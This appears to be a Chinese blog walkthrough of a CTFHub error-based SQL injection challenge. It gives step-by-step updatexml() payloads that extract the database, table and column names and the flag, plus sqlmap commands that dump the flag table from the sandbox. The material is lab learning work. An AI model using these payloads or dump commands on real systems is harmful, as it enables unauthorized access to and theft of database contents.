CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
lonelyhiker几秒前
cas学习笔记
数据库·笔记·学习
2501_927012572 分钟前
相机照片详细参数怎么修改?4款工具,新手零失误
经验分享·其他
云淡风轻~窗明几净7 分钟前
ubuntu的lazarus的Tline/TeaLine组件的构思
linux·数据库·ubuntu
雒珣7 分钟前
Qt实现命令行参数功能示例:QCommandLineParser
开发语言·数据库·qt
诸葛大钢铁8 分钟前
PDF无法编辑?移除PDF权限的两种方法
经验分享·pdf·pdf权限限制·pdf无法编辑
知识分享小能手13 分钟前
MongoDB入门学习教程,从入门到精通,MongoDB备份完全指南(23)
数据库·学习·mongodb
源来猿往17 分钟前
mysql转postgresql【平移】
数据库·mysql·postgresql
爱学习的小囧20 分钟前
VMFS与NFS性能对比(含场景适配+实操建议)
运维·数据库·自动化·esxi·虚拟化
byte轻骑兵22 分钟前
Apache IoTDB 技术特性与大数据时序数据库选型实践
大数据·数据库·人工智能·物联网·时序数据库
Dream of maid23 分钟前
Mysql(7)子查询
android·数据库·mysql